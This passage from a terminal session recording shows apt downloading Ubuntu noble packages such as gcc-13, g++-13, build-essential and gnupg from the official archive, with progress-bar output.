[57.644937, "o", "\r                                                     \rGet:42 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 binutils amd64 2.42-4ubuntu2.10 [18.2 kB]\r\n\u001b[33m\r                                                     \r23% [42 binutils 18.2 kB/18.2 kB 100%]\u001b[0m\u001b[33m\r                                      \r23% [Working]\u001b[0m\r             \rGet:43 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libc-dev-bin amd64 2.39-0ubuntu8.7 [20.4 kB]\r\n\u001b[33m\r23% [43 libc-dev-bin 0 B/20.4 kB 0%]\u001b[0m"]
[57.655655, "o", "\u001b[33m\r                                    \r23% [Working]\u001b[0m\r             \rGet:44 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 linux-libc-dev amd64 6.8.0-107.107 [2096 kB]\r\n\u001b[33m\r23% [44 linux-libc-dev 12.4 kB/2096 kB 1%]\u001b[0m"]
[57.713061, "o", "\u001b[33m\r                                          \r25% [Working]\u001b[0m\r             \rGet:45 http://archive.ubuntu.com/ubuntu noble/main amd64 libcrypt-dev amd64 1:4.4.36-4build1 [112 kB]\r\n\u001b[33m\r25% [45 libcrypt-dev 0 B/112 kB 0%]\u001b[0m"]
[57.726863, "o", "\u001b[33m\r                                   \r25% [Working]\u001b[0m\r             \rGet:46 http://archive.ubuntu.com/ubuntu noble/main amd64 rpcsvc-proto amd64 1.4.2-0ubuntu7 [67.4 kB]\r\n\u001b[33m\r25% [46 rpcsvc-proto 0 B/67.4 kB 0%]\u001b[0m\u001b[33m\r                                    \r25% [Working]\u001b[0m\r             \rGet:47 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libc6-dev amd64 2.39-0ubuntu8.7 [2124 kB]\r\n\u001b[33m\r25% [47 libc6-dev 30.5 kB/2124 kB 1%]\u001b[0m"]
[57.886331, "o", "\u001b[33m\r                                     \r27% [Working]\u001b[0m\r             \rGet:48 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gcc-13-base amd64 13.3.0-6ubuntu2~24.04.1 [51.6 kB]\r\n\r             \rGet:49 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libisl23 amd64 0.26-3build1.1 [680 kB]\r\n"]
[57.88961, "o", "\u001b[33m\r27% [49 libisl23 281 kB/680 kB 41%]\u001b[0m"]
[57.898104, "o", "\r                                   \rGet:50 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libmpfr6 amd64 4.2.1-1build1.1 [353 kB]\r\n\u001b[33m\r27% [50 libmpfr6 123 kB/353 kB 35%]"]
[57.899705, "o", "\u001b[0m"]
[57.906603, "o", "\u001b[33m\r                                   \r28% [Waiting for headers]\u001b[0m"]
[57.915472, "o", "\r                         \rGet:51 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libmpc3 amd64 1.3.1-1build1.1 [54.6 kB]\r\n\u001b[33m\r28% [51 libmpc3 32.1 kB/54.6 kB 59%]\u001b[0m"]
[57.923489, "o", "\u001b[33m\r                                    \r28% [Waiting for headers]\u001b[0m\r                         \rGet:52 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 cpp-13-x86-64-linux-gnu amd64 13.3.0-6ubuntu2~24.04.1 [10.7 MB]\r\n\u001b[33m\r28% [52 cpp-13-x86-64-linux-gnu 0 B/10.7 MB 0%]\u001b[0m"]
[58.423131, "o", "\u001b[33m\r32% [52 cpp-13-x86-64-linux-gnu 6380 kB/10.7 MB 60%]\u001b[0m"]
[58.815427, "o", "\r                                                    \rGet:53 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 cpp-13 amd64 13.3.0-6ubuntu2~24.04.1 [1042 B]\r\n\u001b[33m\r                                                    \r36% [53 cpp-13 1042 B/1042 B 100%]\u001b[0m\u001b[33m\r                                  \r36% [Working]\u001b[0m"]
[58.821982, "o", "\r             \rGet:54 http://archive.ubuntu.com/ubuntu noble/main amd64 cpp-x86-64-linux-gnu amd64 4:13.2.0-7ubuntu1 [5326 B]\r\n\u001b[33m\r36% [54 cpp-x86-64-linux-gnu 4096 B/5326 B 77%]\u001b[0m"]
[58.839453, "o", "\u001b[33m\r                                               \r36% [Working]\u001b[0m\r             \rGet:55 http://archive.ubuntu.com/ubuntu noble/main amd64 cpp amd64 4:13.2.0-7ubuntu1 [22.4 kB]\r\n\r             \rGet:56 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libcc1-0 amd64 14.2.0-4ubuntu2~24.04.1 [48.0 kB]\r\n\r             \rGet:57 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libgomp1 amd64 14.2.0-4ubuntu2~24.04.1 [148 kB]"]
[58.841633, "o", "\r\n\r             \rGet:58 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libitm1 amd64 14.2.0-4ubuntu2~24.04.1 [29.7 kB]\r\n"]
[58.843739, "o", "\u001b[33m\r37% [58 libitm1 29.7 kB/29.7 kB 100%]\u001b[0m\r                                     \rGet:59 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libatomic1 amd64 14.2.0-4ubuntu2~24.04.1 [10.5 kB]\r\n\r                                     \rGet:60 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libasan8 amd64 14.2.0-4ubuntu2~24.04.1 [3027 kB]\r\n\u001b[33m\r                                     \r37% [60 libasan8 131 kB/3027 kB 4%]\u001b[0m"]
[59.039957, "o", "\u001b[33m\r                                   \r39% [Waiting for headers]\u001b[0m\r                         \rGet:61 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 liblsan0 amd64 14.2.0-4ubuntu2~24.04.1 [1322 kB]\r\n\u001b[33m\r39% [61 liblsan0 41.0 kB/1322 kB 3%]\u001b[0m"]
[59.124115, "o", "\r                                    \rGet:62 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libtsan2 amd64 14.2.0-4ubuntu2~24.04.1 [2772 kB]\r\n\u001b[33m\r40% [62 libtsan2 19.8 kB/2772 kB 1%]\u001b[0m"]
[59.280705, "o", "\r                                    \rGet:63 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libubsan1 amd64 14.2.0-4ubuntu2~24.04.1 [1184 kB]\r\n\u001b[33m\r42% [63 libubsan1 21.2 kB/1184 kB 2%]\u001b[0m"]
[59.332237, "o", "\u001b[33m\r                                     \r43% [Working]\u001b[0m"]
[59.337505, "o", "\r             \rGet:64 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libhwasan0 amd64 14.2.0-4ubuntu2~24.04.1 [1641 kB]\r\n\u001b[33m\r43% [64 libhwasan0 7766 B/1641 kB 0%]\u001b[0m"]
[59.397058, "o", "\u001b[33m\r                                     \r44% [Waiting for headers]\u001b[0m\r                         \rGet:65 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libquadmath0 amd64 14.2.0-4ubuntu2~24.04.1 [153 kB]\r\n\u001b[33m\r45% [65 libquadmath0 65.3 kB/153 kB 43%]\u001b[0m"]
[59.40912, "o", "\r                                        \rGet:66 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libgcc-13-dev amd64 13.3.0-6ubuntu2~24.04.1 [2681 kB]\r\n\u001b[33m\r45% [66 libgcc-13-dev 132 kB/2681 kB 5%]\u001b[0m"]
[59.564517, "o", "\r                                        \rGet:67 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gcc-13-x86-64-linux-gnu amd64 13.3.0-6ubuntu2~24.04.1 [21.1 MB]\r\n\u001b[33m\r47% [67 gcc-13-x86-64-linux-gnu 48.5 kB/21.1 MB 0%]\u001b[0m"]
[60.066596, "o", "\u001b[33m\r54% [67 gcc-13-x86-64-linux-gnu 10.4 MB/21.1 MB 49%]                                                                                                                                                 10.5 MB/s 4s\u001b[0m"]
[60.55911, "o", "\u001b[33m\r60% [67 gcc-13-x86-64-linux-gnu 18.2 MB/21.1 MB 86%]                                                                                                                                                 10.5 MB/s 4s\u001b[0m"]
[60.801019, "o", "\r                                                                                                                                                                                                                 \r"]
[60.803678, "o", "Get:68 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gcc-13 amd64 13.3.0-6ubuntu2~24.04.1 [494 kB]\r\n\u001b[33m\r62% [68 gcc-13 268 kB/494 kB 54%]                                                                                                                                                                    10.5 MB/s 3s\u001b[0m"]
[60.818227, "o", "\r                                                                                                                                                                                                                 \rGet:69 http://archive.ubuntu.com/ubuntu noble/main amd64 gcc-x86-64-linux-gnu amd64 4:13.2.0-7ubuntu1 [1212 B]\r\n\r                                                                                                                                                                                                                 \rGet:70 http://archive.ubuntu.com/ubuntu noble/main amd64 gcc amd64 4:13.2.0-7ubuntu1 [5018 B]\r\n\r                                                                                                                                                                                                                 \rGet:71 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libstdc++-13-dev amd64 13.3.0-6ubuntu2~24.04.1 [2420 kB]\r\n\u001b[33m\r63% [71 libstdc++-13-dev 168 kB/2420 kB 7%]                                                                                                                                                          10.5 MB/s 3s\u001b[0m"]
[60.891296, "o", "\r                                                                                                                                                                                                                 \rGet:72 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 g++-13-x86-64-linux-gnu amd64 13.3.0-6ubuntu2~24.04.1 [12.2 MB]\r\n\u001b[33m\r64% [72 g++-13-x86-64-linux-gnu 42.9 kB/12.2 MB 0%]                                                                                                                                                  10.5 MB/s 3s\u001b[0m"]
[61.396007, "o", "\u001b[33m\r72% [72 g++-13-x86-64-linux-gnu 10.9 MB/12.2 MB 90%]                                                                                                                                                 10.5 MB/s 2s\u001b[0m"]
[61.532508, "o", "\u001b[33m\r73% [Working]                                                                                                                                                                                        10.5 MB/s 2s\u001b[0m\r                                                                                                                                                                                                                 \rGet:73 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 g++-13 amd64 13.3.0-6ubuntu2~24.04.1 [16.0 kB]\r\n\u001b[33m\r73% [73 g++-13 16.0 kB/16.0 kB 100%]                                                                                                                                                                 10.5 MB/s 2s\u001b[0m\u001b[33m\r73% [Working]                                                                                                                                                                                        10.5 MB/s 2s\u001b[0m\r                                                                                                                                                                                                                 \rGet:74 http://archive.ubuntu.com/ubuntu noble/main amd64 g++-x86-64-linux-gnu amd64 4:13.2.0-7ubuntu1 [964 B]\r\n\u001b[33m\r73% [74 g++-x86-64-linux-gnu 0 B/964 B 0%]                                                                                                                                                           10.5 MB/s 2s\u001b[0m\u001b[33m\r73% [Working]                                                                                                                                                                                        10.5 MB/s 2s\u001b[0m"]
[61.561225, "o", "\r                                                                                                                                                                                                                 \rGet:75 http://archive.ubuntu.com/ubuntu noble/main amd64 g++ amd64 4:13.2.0-7ubuntu1 [1100 B]\r\n\u001b[33m\r73% [75 g++ 1100 B/1100 B 100%]                                                                                                                                                                      10.5 MB/s 2s\u001b[0m\u001b[33m\r73% [Working]                                                                                                                                                                                        10.5 MB/s 2s\u001b[0m\r                                                                                                                                                                                                                 \rGet:76 http://archive.ubuntu.com/ubuntu noble/main amd64 make amd64 4.3-4.1build2 [180 kB]\r\n\u001b[33m\r74% [76 make 86.0 kB/180 kB 48%]                                                                                                                                                                     10.5 MB/s 2s\u001b[0m\u001b[33m\r74% [Working]                                                                                                                                                                                        10.5 MB/s 2s\u001b[0m\r                                                                                                                                                                                                                 \rGet:77 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libdpkg-perl all 1.22.6ubuntu6."]
[61.563993, "o", "5 [269 kB]\r\n\u001b[33m\r74% [77 libdpkg-perl 74.5 kB/269 kB 28%]                                                                                                                                                             10.5 MB/s 2s\u001b[0m\u001b[33m\r74% [Working]                                                                                                                                                                                        10.5 MB/s 2s\u001b[0m\r                                                                                                                                                                                                                 \rGet:78 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 bzip2 amd64 1.0.8-5.1build0.1 [34.5 kB]\r\n\u001b[33m\r74% [78 bzip2 9298 B/34.5 kB 27%]                                                                                                                                                                    10.5 MB/s 2s\u001b[0m\u001b[33m\r74% [Waiting for headers]                                                                                                                                                                            10.5 MB/s 2s\u001b[0m\r                                                                                                                                                                                                                 \rGet:79 http://archive.ubuntu.com/ubuntu noble/main amd64 patch amd64 2.7.6-7build3 [104 kB]\r\n\u001b[33m\r74% [79 patch 0 B/104 kB 0%]                                                                                                                                                                         10.5 MB/s 2s\u001b[0m"]
[61.56407, "o", "\u001b[33m\r74% [Working]                                                                                                                                                                                        10.5 MB/s 2s\u001b[0m\r                                                                                                                                                                                                                 \rGet:80 http://archive.ubuntu.com/ubuntu noble/main amd64 lto-disabled-list all 47 [12.4 kB]\r\n"]
[61.566723, "o", "\r                                                                                                                                                                                                                 \rGet:81 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 dpkg-dev all 1.22.6ubuntu6.5 [1074 kB]\r\n"]
[61.570704, "o", "\u001b[33m\r75% [81 dpkg-dev 112 kB/1074 kB 10%]                                                                                                                                                                 10.5 MB/s 2s\u001b[0m"]
[61.580675, "o", "\u001b[33m\r75% [Waiting for headers]                                                                                                                                                                            10.5 MB/s 2s\u001b[0m"]
[61.668284, "o", "\r                                                                                                                                                                                                                 \rGet:82 http://archive.ubuntu.com/ubuntu noble/main amd64 build-essential amd64 12.10ubuntu1 [4928 B]\r\n\u001b[33m\r75% [82 build-essential 0 B/4928 B 0%]                                                                                                                                                               10.5 MB/s 2s\u001b[0m"]
[61.669637, "o", "\u001b[33m\r76% [Waiting for headers]                                                                                                                                                                            10.5 MB/s 2s\u001b[0m"]
[61.856008, "o", "\r                                                                                                                                                                                                                 \rGet:83 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gpgconf amd64 2.4.4-2ubuntu17.4 [104 kB]\r\n\u001b[33m\r76% [83 gpgconf 46.0 kB/104 kB 44%]                                                                                                                                                                  10.5 MB/s 2s\u001b[0m"]
[61.859671, "o", "\u001b[33m\r76% [Working]                                                                                                                                                                                        10.5 MB/s 2s\u001b[0m\r                                                                                                                                                                                                                 \rGet:84 http://archive.ubuntu.com/ubuntu noble/main amd64 libksba8 amd64 1.6.6-1build1 [122 kB]\r\n\u001b[33m\r76% [84 libksba8 7484 B/122 kB 6%]                                                                                                                                                                   10.5 MB/s 2s\u001b[0m\r                                                                                                                                                                                                                 \rGet:85 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libsasl2-modules-db amd64 2.1.28+dfsg1-5ubuntu3.1 [20.4 kB]\r\n\u001b[33m\r76% [85 libsasl2-modules-db 20.4 kB/20.4 kB 100%]                                                                                                                                                    10.5 MB/s 2s\u001b[0m\u001b[33m\r76% [Working]                                                                                                                                                                                        10.5 MB/s 2s\u001b[0m\r                                                                                                                                                                                                                 \rGet:86 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libsasl2-2 amd64 2.1.28+dfsg1-5ubuntu3.1 [53.2 kB]\r\n\u001b[33m\r76% [86 libsasl2-2 0 B/53.2 kB 0%]                                                                                                                                                                   10.5 MB/s 2s\u001b[0m\u001b[33m\r76% [Working]                                                                                                                                                                                        10.5 MB/s 2s\u001b[0m\r                                                                                                                                                                                                                 \rGet:87 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libldap2 amd64 2.6.10+dfsg-0ubuntu0.24.04.1 [198 kB]\r\n\u001b[33m\r76% [87 libldap2 65.2 kB/198 kB 33%]                                                                                                                                                                 10.5 MB/s 2s\u001b[0m"]
[61.866327, "o", "\u001b[33m\r77% [Working]                                                                                                                                                                                        10.5 MB/s 2s\u001b[0m\r                                                                                                                                                                                                                 \rGet:88 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 dirmngr amd64 2.4.4-2ubuntu17.4 [323 kB]\r\n\u001b[33m\r77% [88 dirmngr 63.9 kB/323 kB 20%]                                                                                                                                                                  10.5 MB/s 2s\u001b[0m"]
[61.879303, "o", "\r                                                                                                                                                                                                                 \rGet:89 http://archive.ubuntu.com/ubuntu noble/main amd64 libfakeroot amd64 1.33-1 [32.4 kB]\r\n\u001b[33m\r77% [89 libfakeroot 32.4 kB/32.4 kB 100%]                                                                                                                                                            10.5 MB/s 2s\u001b[0m\r                                                                                                                                                                                                                 \rGet:90 http://archive.ubuntu.com/ubuntu noble/main amd64 fakeroot amd64 1.33-1 [67.2 kB]\r\n\r                                                                                                                                                                                                                 \rGet:91 http://archive.ubuntu.com/ubuntu noble/main amd64 fonts-dejavu-mono all 2.37-8 [502 kB]\r\n\u001b[33m\r77% [91 fonts-dejavu-mono 10.9 kB/502 kB 2%]                                                                                                                                                         10.5 MB/s 2s\u001b[0m"]
[61.897213, "o", "\u001b[33m\r78% [Working]                                                                                                                                                                                        10.5 MB/s 2s\u001b[0m"]
[61.974106, "o", "\r                                                                                                                                                                                                                 \rGet:92 http://archive.ubuntu.com/ubuntu noble/main amd64 fonts-dejavu-core all 2.37-8 [835 kB]\r\n\u001b[33m\r78% [92 fonts-dejavu-core 0 B/835 kB 0%]                                                                                                                                                             10.5 MB/s 2s\u001b[0m"]
[62.053459, "o", "\u001b[33m\r79% [Waiting for headers]                                                                                                                                                                            10.5 MB/s 1s\u001b[0m"]
[62.129713, "o", "\r                                                                                                                                                                                                                 \rGet:93 http://archive.ubuntu.com/ubuntu noble/main amd64 fontconfig-config amd64 2.15.0-1.1ubuntu2 [37.3 kB]\r\n\u001b[33m\r79% [93 fontconfig-config 37.3 kB/37.3 kB 100%]                                                                                                                                                      10.5 MB/s 1s\u001b[0m\r                                                                                                                                                                                                                 \rGet:94 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gnupg-utils amd64 2.4.4-2ubuntu17.4 [109 kB]\r\n\u001b[33m\r79% [94 gnupg-utils 43.6 kB/109 kB 40%]                                                                                                                                                              10.5 MB/s 1s\u001b[0m\u001b[33m\r79% [Working]                                                                                                                                                                                        10.5 MB/s 1s\u001b[0m\r                                                                                                                                                                                                                 \rGet:95 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gpg amd64 2.4.4-2ubuntu17.4 [565 kB]\r\n\u001b[33m\r79% [95 gpg 0 B/565 kB 0%]                                                                                                                                                                           10.5 MB/s 1s\u001b[0m"]
[62.179046, "o", "\u001b[33m\r80% [Working]                                                                                                                                                                                        10.5 MB/s 1s\u001b[0m"]
[62.181012, "o", "\r                                                                                                                                                                                                                 \rGet:96 http://archive.ubuntu.com/ubuntu noble/main amd64 pinentry-curses amd64 1.2.1-3ubuntu5 [35.2 kB]\r\n\u001b[33m\r80% [96 pinentry-curses 18.4 kB/35.2 kB 52%]                                                                                                                                                         10.5 MB/s 1s\u001b[0m"]
[62.231656, "o", "\u001b[33m\r80% [Waiting for headers]                                                                                                                                                                            10.5 MB/s 1s\u001b[0m\r                                                                                                                                                                                                                 \rGet:97 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gpg-agent amd64 2.4.4-2ubuntu17.4 [227 kB]\r\n\u001b[33m\r80% [97 gpg-agent 48.4 kB/227 kB 21%]                                                                                                                                                                10.5 MB/s 1s\u001b[0m"]
[62.257981, "o", "\r                                                                                                                                                                                                                 \rGet:98 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gpgsm amd64 2.4.4-2ubuntu17.4 [232 kB]\r\n\u001b[33m\r80% [98 gpgsm 56.9 kB/232 kB 25%]                                                                                                                                                                    10.5 MB/s 1s\u001b[0m"]
[62.263265, "o", "\u001b[33m\r80% [Working]                                                                                                                                                                                        10.5 MB/s 1s\u001b[0m\r                                                                                                                                                                                                                 \rGet:99 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 keyboxd amd64 2.4.4-2ubuntu17.4 [78.3 kB]\r\n\u001b[33m\r80% [99 keyboxd 0 B/78.3 kB 0%]                                                                                                                                                                      10.5 MB/s 1s\u001b[0m"]
[62.267537, "o", "\u001b[33m\r80% [Working]                                                                                                                                                                                        10.5 MB/s 1s\u001b[0m\r                                                                                                                                                                                                                 \rGet:100 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gnupg all 2.4.4-2ubuntu17.4 [359 kB]\r\n\u001b[33m\r81% [100 gnupg 74.1 kB/359 kB 21%]                                                                                                                                                                   10.5 MB/s 1s\u001b[0m"]
[62.274337, "o", "\u001b[33m\r81% [Working]                                                                                                                                                                                        10.5 MB/s 1s\u001b[0m"]
[62.276641, "o", "\r                                                                                                                                                                                                                 \rGet:101 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gnupg-l10n all 2.4.4-2ubuntu17.4 [66.4 kB]\r\n\u001b[33m\r81% [Connecting to archive.ubuntu.com]                                                                                                                                                               10.5 MB/s 1s\u001b[0m"]
[62.548083, "o", "\r                                                                                                                                                                                                                 \rGet:102 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gpg-wks-client amd64 2.4.4-2ubuntu17.4 [70.8 kB]\r\n\u001b[33m\r81% [102 gpg-wks-client 2605 B/70.8 kB 4%]                                                                                                                                                           10.5 MB/s 1s\u001b[0m"]
[62.862238, "o", "\u001b[33m\r81% [Waiting for headers]                                                                                                                                                                            10.5 MB/s 1s\u001b[0m"]
[62.993697, "o", "\r                                                                                                                                                                                                                 \rGet:103 http://archive.ubuntu.com/ubuntu noble/main amd64 javascript-common all 11+nmu1 [5936 B]\r\n\u001b[33m\r81% [103 javascript-common 5936 B/5936 B 100%]                                                                                                                                                       10.5 MB/s 1s"]
[62.996249, "o", "\u001b[0m\r                                                                                                                                                                                                                 \r"]
[62.996392, "o", "Get:104 http://archive.ubuntu.com/ubuntu noble/main amd64 libalgorithm-diff-perl all 1.201-1 [41.8 kB]"]
[63.000791, "o", "\r\n\u001b[33m\r81% [104 libalgorithm-diff-perl 7965 B/41.8 kB 19%]                                                                                                                                                  10.5 MB/s 1s\u001b[0m"]
[63.04966, "o", "\u001b[33m\r82% [Waiting for headers]                                                                                                                                                                            10.5 MB/s 1s\u001b[0m\r                                                                                                                                                                                                                 \rGet:105 http://archive.ubuntu.com/ubuntu noble/main amd64 libalgorithm-diff-xs-perl amd64 0.04-8build3 [11.2 kB]\r\n\u001b[33m\r82% [105 libalgorithm-diff-xs-perl 3519 B/11.2 kB 31%]                                                                                                                                               10.5 MB/s 1s\u001b[0m"]
[63.05947, "o", "\u001b[33m\r82% [Working]                                                                                                                                                                                        10.5 MB/s 1s\u001b[0m\r                                                                                                                                                                                                                 \rGet:106 http://archive.ubuntu.com/ubuntu noble/main amd64 libalgorithm-merge-perl all 0.08-5 [11.4 kB]\r\n\u001b[33m\r82% [106 libalgorithm-merge-perl 741 B/11.4 kB 7%]                                                                                                                                                   10.5 MB/s 1s\u001b[0m"]
[63.091115, "o", "\u001b[33m\r82% [Working]                                                                                                                                                                                        10.5 MB/s 1s\u001b[0m\r                                                                                                                                                                                                                 \rGet:107 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libaom3 amd64 3.8.2-2ubuntu0.1 [1941 kB]\r\n\u001b[33m\r82% [107 libaom3 8100 B/1941 kB 0%]                                                                                                                                                                  10.5 MB/s 1s\u001b[0m"]
[63.595135, "o", "\u001b[33m\r83% [107 libaom3 1723 kB/1941 kB 89%]                                                                                                                                                                10.5 MB/s 1s\u001b[0m"]
[63.615594, "o", "\r                                                                                                                                                                                                                 \rGet:108 http://archive.ubuntu.com/ubuntu noble/main amd64 libbrotli1 amd64 1.1.0-2build2 [331 kB]\r\n\u001b[33m\r83% [108 libbrotli1 21.9 kB/331 kB 7%]                                                                                                                                                               10.5 MB/s 1s\u001b[0m"]
[63.641912, "o", "\u001b[33m\r84% [Working]                                                                                                                                                                                        10.5 MB/s 1s"]
[63.643911, "o", "\u001b[0m"]
[63.649655, "o", "\r                                                                                                                                                                                                                 \rGet:109 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libfreetype6 amd64 2.13.2+dfsg-1ubuntu0.1 [402 kB]\r\n\u001b[33m\r84% [109 libfreetype6 8018 B/402 kB 2%]                                                                                                                                                              10.5 MB/s 1s\u001b[0m"]
[63.68177, "o", "\u001b[33m\r84% [Working]                                                                                                                                                                                        10.5 MB/s 1s\u001b[0m"]
[63.683834, "o", "\r                                                                                                                                                                                                                 \rGet:110 http://archive.ubuntu.com/ubuntu noble/main amd64 libfontconfig1 amd64 2.15.0-1.1ubuntu2 [139 kB]\r\n\u001b[33m\r84% [110 libfontconfig1 29.2 kB/139 kB 21%]                                                                                                                                                          10.5 MB/s 1s\u001b[0m"]
[63.699801, "o", "\r                                                                                                                                                                                                                 \rGet:111 http://archive.ubuntu.com/ubuntu noble/main amd64 libsharpyuv0 amd64 1.3.2-0.4build3 [15.8 kB]\r\n\r                                                                                                                                                                                                                 \r"]
[63.7053, "o", "Get:112 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libheif-plugin-aomdec amd64 1.17.6-1ubuntu4.2 [10.6 kB]\r\n\r                                                                                                                                                                                                                 \rGet:113 http://archive.ubuntu.com/ubuntu noble/main amd64 libde265-0 amd64 1.0.15-1build3 [166 kB]\r\n\u001b[33m\r85% [113 libde265-0 166 kB/166 kB 100%]                                                                                                                                                              10.5 MB/s 1s\u001b[0m\r                                                                                                                                                                                                                 \rGet:114 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libheif-plugin-libde265 amd64 1.17.6-1ubuntu4.2 [8174 B]\r\n\r                                                                                                                                                                                                                 \rGet:115 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libheif1 amd64 1.17.6-1ubuntu4.2 [276 kB]\r\n\u001b[33m\r85% [115 libheif1 184 kB/276 kB 67%]                                                                                                                                                                 10.5 MB/s 1s\u001b[0m"]
[63.70906, "o", "\u001b[33m\r85% [Waiting for headers]                                                                                                                                                                            10.5 MB/s 1s"]
[63.711114, "o", "\u001b[0m\r                                                                                                                                                                                                                 \rGet:116 http://archive.ubuntu.com/ubuntu noble/main amd64 libjpeg-turbo8 amd64 2.1.5-2ubuntu2 [150 kB]\r\n\u001b[33m\r85% [116 libjpeg-turbo8 17.6 kB/150 kB 12%]                                                                                                                                                          10.5 MB/s 1s\u001b[0m"]
[63.720401, "o", "\u001b[33m\r86% [Working]                                                                                                                                                                                        10.5 MB/s 1s\u001b[0m"]
[63.738941, "o", "\r                                                                                                                                                                                                                 \rGet:117 http://archive.ubuntu.com/ubuntu noble/main amd64 libjpeg8 amd64 8c-2ubuntu11 [2148 B]\r\n\u001b[33m\r86% [Waiting for headers]                                                                                                                                                                            10.5 MB/s 1s\u001b[0m"]
[63.875193, "o", "\r                                                                                                                                                                                                                 \rGet:118 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libdeflate0 amd64 1.19-1build1.1 [43.9 kB]\r\n\u001b[33m\r86% [118 libdeflate0 0 B/43.9 kB 0%]                                                                                                                                                                 10.5 MB/s 1s\u001b[0m\u001b[33m\r86% [Working]                                                                                                                                                                                        10.5 MB/s 1s\u001b[0m\r                                                                                                                                                                                                                 \rGet:119 http://archive.ubuntu.com/ubuntu noble/main amd64 libjbig0 amd64 2.1-6.1ubuntu2 [29.7 kB]\r\n\u001b[33m\r86% [119 libjbig0 0 B/29.7 kB 0%]                                                                                                                                                                    10.5 MB/s 1s\u001b[0m\u001b[33m\r86% [Working]                                                                                                                                                                                        10.5 MB/s 1s\u001b[0m\r                                                                                                                                                                                                                 \rGet:120 http://archive.ubuntu.com/ubuntu noble/main amd64 liblerc4 amd64 4.0.0+ds-4ubuntu2 [179 kB]\r\n\u001b[33m\r86% [120 liblerc4 60.5 kB/179 kB 34%]                                                                                                                                                                10.5 MB/s 1s\u001b[0m\u001b[33m\r86% [Waiting for headers]                                                                                                                                                                            10.5 MB/s 1s"]
[63.877294, "o", "\u001b[0m\r                                                                                                                                                                                                                 \rGet:121 http://archive.ubuntu.com/ubuntu noble/main amd64 libwebp7 amd64 1.3.2-0.4build3 [230 kB]"]
[63.879595, "o", "\r\n\u001b[33m\r86% [121 libwebp7 8654 B/230 kB 4%]                                                                                                                                                                  10.5 MB/s 1s"]
[63.898541, "o", "\u001b[0m\u001b[33m\r87% [Working]                                                                                                                                                                                        10.5 MB/s 1s\u001b[0m\r                                                                                                                                                                                                                 \rGet:122 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libtiff6 amd64 4.5.1+git230720-4ubuntu2.5 [200 kB]\r\n\u001b[33m\r87% [122 libtiff6 0 B/200 kB 0%]                                                                                                                                                                     10.5 MB/s 1s\u001b[0m\u001b[33m\r87% [Working]                                                                                                                                                                                        10.5 MB/s 1s\u001b[0m\r                                                                                                                                                                                                                 \rGet:123 http://archive.ubuntu.com/ubuntu noble/main amd64 libxpm4 amd64 1:3.5.17-1build2 [36.5 kB]\r\n\u001b[33m\r87% [123 libxpm4 0 B/36.5 kB 0%]                                                                                                                                                                     10.5 MB/s 1s\u001b[0m\u001b[33m\r87% [Working]                                                                                                                                                                                        10.5 MB/s 1s\u001b[0m\r                                                                                                                                                                                                                 \rGet:124 http://archive.ubuntu.com/ubuntu noble/main amd64 libgd3 amd64 2.3.3-9ubuntu5 [128 kB]\r\n\u001b[33m\r87% [124 libgd3 50.3 kB/128 kB 39%]                                                                                                                                                                  10.5 MB/s 1s\u001b[0m\u001b[33m\r87% [Working]                                                                                                                                                                                        10.5 MB/s 1s\u001b[0m\r                                                                                                                                                                                                                 \rGet:125 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libc-devtools amd64 2.39-0ubuntu8.7 [29.3 kB]\r\n\u001b[33m\r87% [125 libc-devtools 0 B/29.3 kB 0%]                                                                                                                                                               10.5 MB/s 1s\u001b[0m"]
[63.900841, "o", "\u001b[33m\r88% [Working]                                                                                                                                                                                        10.5 MB/s 1s\u001b[0m\r                                                                                                                                                                                                                 \rGet:126 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libexpat1-dev amd64 2.6.1-2ubuntu0.4 [140 kB]\r\n\u001b[33m\r88% [126 libexpat1-dev 0 B/140 kB 0%]                                                                                                                                                                10.5 MB/s 1s\u001b[0m"]
